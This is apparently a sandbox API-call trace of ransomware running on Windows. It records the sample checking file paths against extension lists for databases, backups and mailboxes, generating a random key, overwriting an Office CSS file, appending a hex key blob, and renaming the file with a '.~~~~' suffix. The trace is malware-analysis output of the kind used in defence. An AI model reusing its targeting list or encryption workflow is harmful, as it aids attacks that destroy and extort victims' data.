	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".VHD") returned 0x0
	[0139.631] lstrlenW (lpString=".DBV") returned 4
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DBV") returned 0x0
	[0139.631] lstrlenW (lpString=".dacpac") returned 7
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".dacpac") returned 0x0
	[0139.631] lstrlenW (lpString=".sdf") returned 4
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".sdf") returned 0x0
	[0139.631] lstrlenW (lpString=".accdb") returned 6
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".accdb") returned 0x0
	[0139.631] lstrlenW (lpString=".DBX") returned 4
	[0139.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DBX") returned 0x0
	[0139.631] lstrlenW (lpString=".MDT") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".MDT") returned 0x0
	[0139.632] lstrlenW (lpString=".SQB") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".SQB") returned 0x0
	[0139.632] lstrlenW (lpString=".vhd") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".vhd") returned 0x0
	[0139.632] lstrlenW (lpString=".bac") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".bac") returned 0x0
	[0139.632] lstrlenW (lpString=".mdf") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".mdf") returned 0x0
	[0139.632] lstrlenW (lpString=".BAK") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".BAK") returned 0x0
	[0139.632] lstrlenW (lpString=".BAC") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".BAC") returned 0x0
	[0139.632] lstrlenW (lpString=".dbs") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".dbs") returned 0x0
	[0139.632] lstrlenW (lpString=".vhdx") returned 5
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".vhdx") returned 0x0
	[0139.632] lstrlenW (lpString=".NDF") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".NDF") returned 0x0
	[0139.632] lstrlenW (lpString=".dat") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".dat") returned 0x0
	[0139.632] lstrlenW (lpString=".DBS") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DBS") returned 0x0
	[0139.632] lstrlenW (lpString=".CKP") returned 4
	[0139.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".CKP") returned 0x0
	[0139.632] lstrlenW (lpString=".edb") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".edb") returned 0x0
	[0139.633] lstrlenW (lpString=".PST") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".PST") returned 0x0
	[0139.633] lstrlenW (lpString=".dbf") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".dbf") returned 0x0
	[0139.633] lstrlenW (lpString=".SQL") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".SQL") returned 0x0
	[0139.633] lstrlenW (lpString=".pst") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".pst") returned 0x0
	[0139.633] lstrlenW (lpString=".dbv") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".dbv") returned 0x0
	[0139.633] lstrlenW (lpString=".SDF") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".SDF") returned 0x0
	[0139.633] lstrlenW (lpString=".dtxs") returned 5
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".dtxs") returned 0x0
	[0139.633] lstrlenW (lpString=".db3") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".db3") returned 0x0
	[0139.633] lstrlenW (lpString=".OST") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".OST") returned 0x0
	[0139.633] lstrlenW (lpString=".dbx") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".dbx") returned 0x0
	[0139.633] lstrlenW (lpString=".DB3") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DB3") returned 0x0
	[0139.633] lstrlenW (lpString=".DAT") returned 4
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DAT") returned 0x0
	[0139.633] lstrlenW (lpString=".VHDX") returned 5
	[0139.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".VHDX") returned 0x0
	[0139.634] lstrlenW (lpString=".ndf") returned 4
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".ndf") returned 0x0
	[0139.634] lstrlenW (lpString=".DB") returned 3
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DB") returned 0x0
	[0139.634] lstrlenW (lpString=".sql") returned 4
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".sql") returned 0x0
	[0139.634] lstrlenW (lpString=".MYD") returned 4
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".MYD") returned 0x0
	[0139.634] lstrlenW (lpString=".DBT") returned 4
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DBT") returned 0x0
	[0139.634] lstrlenW (lpString=".ACCDB") returned 6
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.634] lstrlenW (lpString=".fdb") returned 4
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".fdb") returned 0x0
	[0139.634] lstrlenW (lpString=".bak") returned 4
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".bak") returned 0x0
	[0139.634] lstrlenW (lpString=".myd") returned 4
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".myd") returned 0x0
	[0139.634] lstrlenW (lpString=".DTXS") returned 5
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".DTXS") returned 0x0
	[0139.634] lstrlenW (lpString=".ckp") returned 4
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".ckp") returned 0x0
	[0139.634] lstrlenW (lpString=".dbt") returned 4
	[0139.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".dbt") returned 0x0
	[0139.634] lstrlenW (lpString=".db") returned 3
	[0139.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".db") returned 0x0
	[0139.635] lstrlenW (lpString=".TXT") returned 4
	[0139.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".TXT") returned 0x0
	[0139.635] lstrlenW (lpString=".MDF") returned 4
	[0139.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".MDF") returned 0x0
	[0139.635] lstrlenW (lpString=".bdb") returned 4
	[0139.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".bdb") returned 0x0
	[0139.635] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0139.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.635] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0139.636] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.636] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0139.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0139.637] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25962671904) returned 1
	[0139.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbca4eff0, dwHighDateTime=0x1d60e1e)) 
	[0139.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0139.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0139.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0139.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825e80
	[0139.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825e80 | out: hHeap=0x300000) returned 1
	[0139.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399a58
	[0139.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399a58 | out: hHeap=0x300000) returned 1
	[0139.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0139.638] GetLastError () returned 0x0
	[0139.638] GetLastError () returned 0x0
	[0139.638] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0139.638] GetLastError () returned 0x0
	[0139.638] GetLastError () returned 0x0
	[0139.638] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.641] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.642] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0139.642] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.642] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.643] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.644] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.644] CloseHandle (hObject=0x138) returned 1
	[0139.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0139.644] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css.~~~~")) returned 1
	[0139.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0139.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0139.647] GetLastError () returned 0x0
	[0139.647] RtlWakeConditionVariable () returned 0x0
	[0139.647] GetCurrentThreadId () returned 0x9cc
	[0139.647] GetCurrentThreadId () returned 0x9cc
	[0139.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0139.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399710 | out: hHeap=0x300000) returned 1
	[0139.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825eb8 | out: hHeap=0x300000) returned 1
	[0139.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399710
	[0139.647] lstrlenW (lpString=".scr") returned 4
	[0139.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".scr") returned 0x0
	[0139.647] lstrlenW (lpString=".cmd") returned 4
	[0139.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".cmd") returned 0x0
	[0139.648] lstrlenW (lpString=".dll") returned 4
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".dll") returned 0x0
	[0139.648] lstrlenW (lpString=".bat") returned 4
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".bat") returned 0x0
	[0139.648] lstrlenW (lpString=".cpl") returned 4
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".cpl") returned 0x0
	[0139.648] lstrlenW (lpString=".sys") returned 4
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".sys") returned 0x0
	[0139.648] lstrlenW (lpString=".msc") returned 4
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".msc") returned 0x0
	[0139.648] lstrlenW (lpString=".com") returned 4
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".com") returned 0x0
	[0139.648] lstrlenW (lpString=".lnk") returned 4
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".lnk") returned 0x0
	[0139.648] lstrlenW (lpString=".msp") returned 4
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".msp") returned 0x0
	[0139.648] lstrlenW (lpString=".pif") returned 4
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".pif") returned 0x0
	[0139.648] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0139.650] lstrlenW (lpString=".sqb") returned 4
	[0139.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".sqb") returned 0x0
	[0139.650] lstrlenW (lpString=".ost") returned 4
	[0139.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".ost") returned 0x0
	[0139.650] lstrlenW (lpString=".txt") returned 4
	[0139.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".txt") returned 0x0
	[0139.650] lstrlenW (lpString=".mdt") returned 4
	[0139.650] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".mdt") returned 0x0
	[0139.651] lstrlenW (lpString=".BDB") returned 4
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".BDB") returned 0x0
	[0139.651] lstrlenW (lpString=".eql") returned 4
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".eql") returned 0x0
	[0139.651] lstrlenW (lpString=".DBF") returned 4
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DBF") returned 0x0
	[0139.651] lstrlenW (lpString=".EQL") returned 4
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".EQL") returned 0x0
	[0139.651] lstrlenW (lpString=".FDB") returned 4
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".FDB") returned 0x0
	[0139.651] lstrlenW (lpString=".EDB") returned 4
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".EDB") returned 0x0
	[0139.651] lstrlenW (lpString=".DACPAC") returned 7
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.651] lstrlenW (lpString=".VHD") returned 4
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".VHD") returned 0x0
	[0139.651] lstrlenW (lpString=".DBV") returned 4
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DBV") returned 0x0
	[0139.651] lstrlenW (lpString=".dacpac") returned 7
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".dacpac") returned 0x0
	[0139.651] lstrlenW (lpString=".sdf") returned 4
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".sdf") returned 0x0
	[0139.651] lstrlenW (lpString=".accdb") returned 6
	[0139.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".accdb") returned 0x0
	[0139.652] lstrlenW (lpString=".DBX") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DBX") returned 0x0
	[0139.652] lstrlenW (lpString=".MDT") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".MDT") returned 0x0
	[0139.652] lstrlenW (lpString=".SQB") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".SQB") returned 0x0
	[0139.652] lstrlenW (lpString=".vhd") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".vhd") returned 0x0
	[0139.652] lstrlenW (lpString=".bac") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".bac") returned 0x0
	[0139.652] lstrlenW (lpString=".mdf") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".mdf") returned 0x0
	[0139.652] lstrlenW (lpString=".BAK") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".BAK") returned 0x0
	[0139.652] lstrlenW (lpString=".BAC") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".BAC") returned 0x0
	[0139.652] lstrlenW (lpString=".dbs") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".dbs") returned 0x0
	[0139.652] lstrlenW (lpString=".vhdx") returned 5
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".vhdx") returned 0x0
	[0139.652] lstrlenW (lpString=".NDF") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".NDF") returned 0x0
	[0139.652] lstrlenW (lpString=".dat") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".dat") returned 0x0
	[0139.652] lstrlenW (lpString=".DBS") returned 4
	[0139.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS", lpSrch=".DBS") returned 0x0
	[0139.653] lstrlenW (lpString=".CKP") returned 4
